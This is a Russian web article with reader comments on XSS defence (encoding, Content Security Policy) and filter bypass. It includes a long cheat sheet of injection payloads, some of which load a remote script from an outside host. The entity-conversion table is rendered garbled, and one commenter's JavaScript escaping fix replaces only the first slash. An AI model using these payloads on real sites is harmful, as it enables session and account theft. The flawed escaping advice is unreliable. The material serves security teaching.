Несмотря на большое количество рекомендаций по защите веб-приложения от клиент-сайд атак, таких как XSS (cross site scripting) многие разработчики ими пренебрегают, либо выполняют эти требования не полностью. В статье будут рассмотрены способы обхода средств фильтрации и при эксплуатации xss-векторов.
Сейчас существует довольно много способов предотвращения XSS-уязвимостей, включая защитные средства современных браузеров, пытающихся предотвратить выполнение вредоносного кода, воздействующего на пользователя. Тем не менее XSS уязвимости на протяжении последних лет уверенно входят в первую тройку OWASP. XSS уязвимости встречаются как на малопосещаемых проектах, так и на крупных — например можно посмотреть подборку последних public disclosed уязвимостей проекта hackerone — львиную долю из них занимают как раз xss уязвимости. Это касается и довольно распространенных CMS — последняя (на момент публикации статьи) версия Wordpress 4.7.3. закрывает несколько XSS уязвимостей.
Защита
Основные превентивные меры:
- валидация данных
- преобразование вывода
На практике это должно быть реализовано в виде:
- исключения всех недоверенных данных из контекста (body, атрибуты, JavaScript, CSS или URL);
- использование "белых списков" на строне сервера (проверка длины, формата, логики и.д.);
- использование специализированных средств очистки данных (OWASP AntiSamy или Java HTML Sanitizer Project);
- использование атрибута HttpOnly;
- использование Content Security Policy.
Не давайте использовать недоверенные данные:
<script>...XSS...</script> в script
<!--....XSS...--> в HTML комментарии
<div ...XSS...=test /> в имени атрибута
<...XSS...... href="/test" /> в имени тега
<style>...XSS...</style> в CSS
Не давайте использовать недоверенные данные в содержимом HTML элемента:
<body> ... очищаем данные ... </ body>
<div> ... очищаем данные ... </ div>
Используйте преобразование сущностей:
& --> &
< --> <
> --> >
" --> "
' --> ' ( ' не рекомендуется)
/ --> /
Методов защиты довольно много, но одним из самых эффективных является использование Content Security Policy.
Content Security Policy
Ранее, одним из главных принципов безопасности браузеров являлась политика Same Origin Policy. Ее суть заключается в проверке трех компонентов, из которых состоит origin: протокол, хост и порт. Однако при внедрении пейлода с одного сайта на другой SOP будет бесполезен для сайта с внедренным пейлоадом. Поэтому на смену SOP пришел CSP, основное предназначение которого состоит в том, чтобы защитить пользователя от угроз межсайтового выполнения сценариев. CSP описывает безопасные источники загрузки ресурсов, устанавливает правила использования встроенных стилей, скриптов, а также динамической оценки JavaScript. Самое главное — загрузка с ресурсов, не входящих в «белый список», блокируется.
Поддерживаемые директивы:
- Default-src: определение политики загрузки для всех типов ресурсов в случае, если определенная директива типа ресурса не определена (резервная);
- Script-src: какие скрипты могут использовать защищенный ресурс;
- Object-src: откуда ресурс может загружать плагины;
- Style-src: какие стили (CSS) пользователь применяет к защищенному ресурсу;
- Img -src: откуда защищенный ресурс может загружать изображения;
- Media-src: откуда защищенный ресурс может загружать видео и аудио;
- Frame-src: где защищенный ресурс может вставлять кадры;
- Font-src: где защищенный ресурс может загружать шрифты;
- Connect-src: какие URI могут быть загружены защищенным ресурсом;
- Form-action: какие URI могут использоваться как результат работы HTML-формы;
- Sandbox: определяет политику «песочницы HTML»;
- Script-nonce: выполнение сценария, требуя наличия указанного nonce для элементов сценария;
- Plugin-types: набор плагинов, которые могут быть вызваны защищенным ресурсом, путем ограничения типов ресурсов, которые могут быть встроены;
- Reflection-xss: активировать или деактивировать любые проверки, используемые для фильтрации или блокирования отраженных атак между сайтами, эквивалентные нестандартному заголовку X-XSS-Protection;
- Report-uri: указывает URI, на который агент пользователя отправляет отчеты о нарушении правил.
Выявление XSS уязвимостей
В качестве проверки наличия уязвимости можно использовать XSS-локаторы или зонды:
Простейший зонд:
'';!--"<XSS>=&{()}
Простейший JavaScript XSS:
<SCRIPT SRC=http://xss/xss.js></SCRIPT>
Пример нескольких пейлоадов для обхода возможной фильтрации:
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
Директива JavaScript:
<IMG SRC="javascript:alert('XSS');">
Регистронезависимый вектор:
<IMG SRC=JaVaScRiPt:alert('XSS')>
Обработчики событий могут быть использованы для внедрения XSS-пейлоада:
FSCommand
onAbort
onActivate
onAfterPrint
onAfterUpdate
onBeforeActivate
onBeforeCopy
onBeforeCut
onBeforeDeactivate
onBeforeEditFocus
onBeforePaste
onBeforePrint
onBeforeUnload
onBeforeUpdate
onBegin
onBlur
onBounce
onCellChange
onChange
onClick
onContextMenu
onControlSelect
onCopy
onCut
onDataAvailable
onDataSetChanged
onDataSetComplete
onDblClick
onDeactivate
onDrag
onDragEnd
onDragLeave
onDragEnter
onDragOver
onDragDrop
onDragStart
onDrop
onEnd
onError
onErrorUpdate
onFilterChange
onFinish
onFocus
onFocusIn
onFocusOut
onHashChange
onHelp
onInput
onKeyDown
onKeyPress
onKeyUp
onLayoutComplete
onLoad
onLoseCapture
onMediaComplete
onMediaError
onMessage
onMouseDown
onMouseEnter
onMouseLeave
onMouseMove
onMouseOut
onMouseOver
onMouseUp
onMouseWheel
onMove
onMoveEnd
onMoveStart
onOffline
onOnline
onOutOfSync
onPaste
onPause
onPopState
onProgress
onPropertyChange
onReadyStateChange
onRedo
onRepeat
onReset
onResize
onResizeEnd
onResizeStart
onResume
onReverse
onRowsEnter
onRowExit
onRowDelete
onRowInserted
onScroll
onSeek
onSelect
onSelectionChange
onSelectStart
onStart
onStop
onStorage
onSyncRestored
onSubmit
onTimeError
onTrackChange
onUndo
onUnload
onURLFlip
seekSegmentTime
Примеры XSS-пейлоадов для обхода фильтрации
Добавление тега:
<svg onload=alert(1)>
"><svg onload=alert(1)//
Инлайн пейлоад:
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
Javascript пейлоады:
'-alert(1)-'
'-alert(1)//
\ '- alert (1) //
Javascript пейлоад (добавление тега):
</ Script> <svg onload = alert (1)>
Внедрение PHP_SELF:
http: //DOMAIN/PAGE.php/ "> <svg onload = alert (1)>
Обход фильтрации скобок:
<svg onload=alert`1`>
<svg onload=alert(1)>
<svg onload=alert(1)>
<svg onload=alert(1)>
Обход фильтра "alert":
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
Тег body:
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1! (MSIE)
Редко используемые теги:
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
Обработчики событий:
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
Прямое выполнение:
<script>alert(1)</script>
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<!-- math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<!-- math><brute xlink:href=javascript:alert(1)>click
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>
Обработчики мобильных событий:
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<html ontouchcancel=alert(1)>
<body onorientationchange=alert(1)>
Загрузка файлов:
"><img src=1 onerror=alert(1)>.gif
В метаданных
$ exiftool -Artist='"><img src=1 onerror=alert(1)>' FILENAME.jpeg
В SVG файле
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
GIF файл в качестве источника
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Обход XSS аудитора Google Chrome (до 51 версии):
<script src="data:,alert(1)//
"><script src=data:,alert(1)//
<script src="//brutelogic.com.br/1.js#
"><script src=//brutelogic.com.br/1.js#
<link rel=import href="data:text/html,<script>alert(1)</script>
"><link rel=import href=data:text/html,<script>alert(1)</script>
Заключение
Придерживаться правила: all input is evil until proven otherwise.
Проверять входящие данные.
Проверять вывод.
Использовать комплексные средства защиты веб-приложений от хакерских атак.
Комментарии (12)
michael_vostrikov
18.04.2017 16:52+3Фильтрация, комплексные средства… Всю статью можно свести к одной фразе:
Используйте преобразование сущностей
При выводе значения в HTML-разметку нужно использовать преобразование сущностей.
При выводе значения внутри тегаscript
нужно использовать JSON-кодирование. Кавычки для строк вручную писать не надо.
При этом, если вывод в HTML в атрибут типаhref
, то перед этим надо дополнительно сделать URL-кодирование для составных частей URL, если в атрибут типаonclick
, то JSON-кодирование.
Если у вас такой редкий случай, что пользователь может вводить абсолютный URL полностью, то надо проверять, чтобы он не начинался сjavascript:
, а лучше разрешать только начинающийся сhttp:/https:
.
Если у вас такой редкий случай, что вы выводите пользовательское значение внутри тегаstyle
, то нужно использовать приведение к int для числовых значений либо добавление слешей к кавычкам для строковых. При этом обрамляющие кавычки лучше добавлять в функции добавления слешей, так же как делаетjson_encode()
, а не хардкодить в css-разметке. Потому что иначе можно ошибиться и где-нибудь случайно написать кавычки другого типа.
Для вывода пользовательского HTML нужно использовать специальные средства типа HTMLPurifier.
Надо понимать, что происходит не просто вывод значения, а вывод значения в определенный контекст.
И пусть пользователь вводит всё что хочет, не надо его ограничивать.AlexVS85
19.04.2017 00:28Если у вас такой редкий случай, что пользователь может вводить абсолютный URL полностью, то надо проверять, чтобы он не начинался с javascript:, а лучше разрешать только начинающийся с http:/https:.
так можно пропустить:
http://domain.com" onclick="javascript:...."
michael_vostrikov
19.04.2017 05:41Оно конечно да, но кодирование сущностей тоже должно быть, тогда кавычки в URL не сломают разметку.
dmnBrest
19.04.2017 08:39При выводе значения внутри тега script нужно использовать JSON-кодирование. Кавычки для строк вручную писать не надо.
Можно про этот случай подробнее? Как раз сегодня мучился с задачей как передать объект внутрь script (на стороне фронтенда) при рендеринге темплейта на стороне сервера (express + nunjucks templates). Объект содержит пользовательские данные, то есть может содержать все что угодно. Объект сериализирую в JSON чтобы потом подставить в скрипт и распарсить с помощью JSON.parse. Если выводить напрямую, то включается html экранирование nunjucks и результирующий js получается невалидный. Если отключить экранирование и выводить как есть, то в это чревато вышеописанным XSS. Что-то не получилось нагуглить внятного примера под nodejs, хотя знаю что задача актуальная и существуют методы на других шаблонизаторах (var a = {!JSENCODE(var)} к примеру в Visualforce). Нашел выход один, но так сказать через другое место — выводить JSON как обычный экранированный текст в html тег и потом вытягивать его с помощью innerHTML, а дальше парсить. Но может есть способ элегантнее?michael_vostrikov
19.04.2017 09:07Если пользовательские данные это например строка из БД, то можно сделать так:
<script> var obj = <?= json_encode($data) ?>; // var obj = {field: "user_value", ...}; </script>
Пример на PHP, но принцип думаю везде одинаковый. То есть, на клиенте не надо делать JSON.parse, просто сразу объявляем объект, который бразуер распарсит при загрузке страницы.dmnBrest
19.04.2017 09:51А что произойдет если в json будет такая штука?
{field: "</script><script>alert('hacked')", ...};
Я без особых знаний данной темы понимаю что ничего хорошего. А если еще применять различные техники скрытия спецсимволов? По вашему примеру получается что $data без экранирования становится частью html разметки.michael_vostrikov
19.04.2017 10:40В PHP json_encode() экранирует слеши. У меня получается такой вывод:
<?php $data = ['field' => "</script><script>alert('hacked')"]; ?> <script> var obj = <?= json_encode($data) ?>; </script>
<script> var obj = {"field":"<\/script><script>alert('hacked')"}; </script>
Никаких алертов не происходит.dmnBrest
19.04.2017 12:28Тогда вопрос сужается.
в NodeJS JSON.stringify не экранирует.
Как это реализовать в NodeJS?
Шаблонизатор (Nunjucks) который я использую не позволяет это сделать из коробки.
Пилить свою функцию которая тупо заменяет какой-то набор спецсимволов не вариант, потому что я не знаю всех возможных вариантов представления исполняемого кода чтобы быть уверенным в том что моя функция 100% рабочаю. Есть ли какое-нибудь готовое решение под NodeJS которое сделает строку безопасной для JS и при этом без всяких html entities которые выплевывает шаблонизатор.michael_vostrikov
19.04.2017 13:43В Nunjucks же вроде можно свой фильтр сделать? Делаете свой фильтр, который выполняет
JSON.stringify(data).replace('/', '\\/')
. Тут проблема только в слешах, и то только потому что браузер так закрывающий тег script внутри строки обрабатывает.
HKA
26.04.2017 13:11использование «белых списков» на строне сервера (проверка длины, формата, логики и.д.);
Ну, валидацию входных данных нужно делать всегда безотносительно XSS.
В отношении CSP report-uri, кто-нибудь боролся с браузерными плагинами, выполняющимися в контексте текущей страницы и вызывающими ложное срабатывание оповещения? Я так и не смог придумать универсальный способ блокировки хотя бы на стороне сервера.
Сайд-замечание: ваши «клиент-сайд» и «пейлоад» вызывают когнитивный диссонанс между зрением и внутренней речью :)
KonstantinSerov
Растет уровень угроз — совершенствуется защита. Совершенствуется защита — совершенствуется малварь. Если исходить из этого, получится замкнутый круг! Сам малварь (его разработка и использование) — всего лишь следствие. Работать необходимо в первую очередь с причиной. Снижение экономической выгоды от использования малваря пропорционально снижению использования малваря. И наоборот.